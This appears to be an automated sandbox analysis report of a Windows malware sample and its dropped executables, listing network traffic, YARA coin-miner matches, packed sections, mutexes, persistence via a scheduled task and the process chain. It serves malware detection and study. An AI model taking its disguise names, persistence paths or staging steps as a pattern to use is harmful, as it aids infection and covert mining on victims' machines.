Source: 475e05f959.exe, 0000000A.00000003.2702477506.0000000000C26000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2654895051.0000000000C26000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2702792369.0000000000C26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 475e05f959.exe, 0000000A.00000003.2655126834.0000000000C27000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2654895051.0000000000C26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 475e05f959.exe, 0000000A.00000003.2654341542.00000000034F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 475e05f959.exe, 0000000A.00000003.2654341542.00000000034F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 475e05f959.exe, 0000000A.00000003.2654341542.00000000034F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 475e05f959.exe, 0000000A.00000003.2654341542.00000000034F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 475e05f959.exe, 0000000A.00000003.2654341542.00000000034F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.27:443 -> 192.168.2.4:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:50074 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe

Code function: 6_2_00BD4C2D GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetDC,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateDIBSection,SelectObject,BitBlt,DeleteObject,DeleteDC,ReleaseDC,

6_2_00BD4C2D

Source: 0626ec4ce0.exe, 00000019.00000003.2955258764.0000000005A70000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_725607d8-4

Source: 0626ec4ce0.exe, 00000019.00000003.2955258764.0000000005A70000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_cede2c91-4

Source: Yara match	File source: 25.3.0626ec4ce0.exe.5c90000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.3.svchost.exe.5510000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.3.svchost.exe.5730000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.3.svchost.exe.5510000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.3.svchost.exe.5730000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.3.svchost.exe.5510000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.3.0626ec4ce0.exe.5a70000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000003.2965730238.0000000005510000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2966024022.0000000005730000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2955258764.0000000005A70000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2957164373.0000000005C90000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0626ec4ce0.exe PID: 340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 404, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 52.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 52.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000029.00000003.3327635241.0000021C017A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000029.00000003.3327635241.0000021C017A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen

Drops password protected ZIP file

Source: file.bin.13.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[2].exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name: .idata
Source: random[2].exe.5.dr	Static PE information: section name:
Source: 0626ec4ce0.exe.5.dr	Static PE information: section name:
Source: 0626ec4ce0.exe.5.dr	Static PE information: section name: .idata
Source: 0626ec4ce0.exe.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: 93b1627660.exe.5.dr	Static PE information: section name:
Source: 93b1627660.exe.5.dr	Static PE information: section name: .idata
Source: 93b1627660.exe.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: 5d99420dfa.exe.5.dr	Static PE information: section name:
Source: 5d99420dfa.exe.5.dr	Static PE information: section name: .idata
Source: 5d99420dfa.exe.5.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E578BB	0_2_00E578BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E58860	0_2_00E58860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E57049	0_2_00E57049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E531A8	0_2_00E531A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E14B30	0_2_00E14B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E14DE0	0_2_00E14DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E52D10	0_2_00E52D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E5779B	0_2_00E5779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E47F36	0_2_00E47F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_008478BB	1_2_008478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00847049	1_2_00847049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00848860	1_2_00848860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_008431A8	1_2_008431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00804B30	1_2_00804B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00804DE0	1_2_00804DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00842D10	1_2_00842D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0084779B	1_2_0084779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00837F36	1_2_00837F36
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002D1000	7_2_002D1000
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002D4C8C	7_2_002D4C8C
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 7_2_002E6F3A	7_2_002E6F3A
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: 10_3_00BF5199	10_3_00BF5199

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00E280C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Code function: String function: 002D5190 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 008180C0 appears 130 times

Source: C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 340 -s 652

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 52.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 52.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 41.3.Intel_PTT_EK_Recertification.exe.21c017a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000029.00000003.3327635241.0000021C017A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000029.00000003.3327635241.0000021C017A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982384621934605
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982384621934605
Source: random[2].exe.5.dr	Static PE information: Section: ZLIB complexity 0.9957694303505535
Source: random[2].exe.5.dr	Static PE information: Section: qcfhmskp ZLIB complexity 0.9926735448473283
Source: 0626ec4ce0.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9957694303505535
Source: 0626ec4ce0.exe.5.dr	Static PE information: Section: qcfhmskp ZLIB complexity 0.9926735448473283
Source: random[2].exe0.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[2].exe0.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: b55b5c2bf3.exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: b55b5c2bf3.exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 475e05f959.exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 475e05f959.exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe0.5.dr	Static PE information: Section: oldbffal ZLIB complexity 0.9943864493534482
Source: 93b1627660.exe.5.dr	Static PE information: Section: oldbffal ZLIB complexity 0.9943864493534482
Source: random[1].exe1.5.dr	Static PE information: Section: ddzecpfm ZLIB complexity 0.9945742198632089
Source: 5d99420dfa.exe.5.dr	Static PE information: Section: ddzecpfm ZLIB complexity 0.9945742198632089

Source: 0626ec4ce0.exe, 00000019.00000003.2937524542.00000000053E8000.00000004.00001000.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2948515097.0000000000DB9000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: 0626ec4ce0.exe, 00000019.00000003.2937524542.00000000053E8000.00000004.00001000.00020000.00000000.sdmp, 0626ec4ce0.exe, 00000019.00000003.2948515097.0000000000DB9000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@93/44@26/10

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DxfmGsU[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6040:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5628:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-41f5ca1f-12f2-e123ed-b12badd5efaa}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3444:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	Mutant created: \Sessions\1\BaseNamedObjects\be8cad63-22bb-4c30-996e-fba481a4426e
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7428:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

Command line argument: .-

7_2_002DE280

Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe

System information queried: HandleInformation

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 475e05f959.exe, 0000000A.00000003.2613806315.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2564123773.00000000032C6000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 52%

Source: 5d99420dfa.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe "C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe "C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe"
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Process created: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe "C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe "C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe "C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe "C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe"
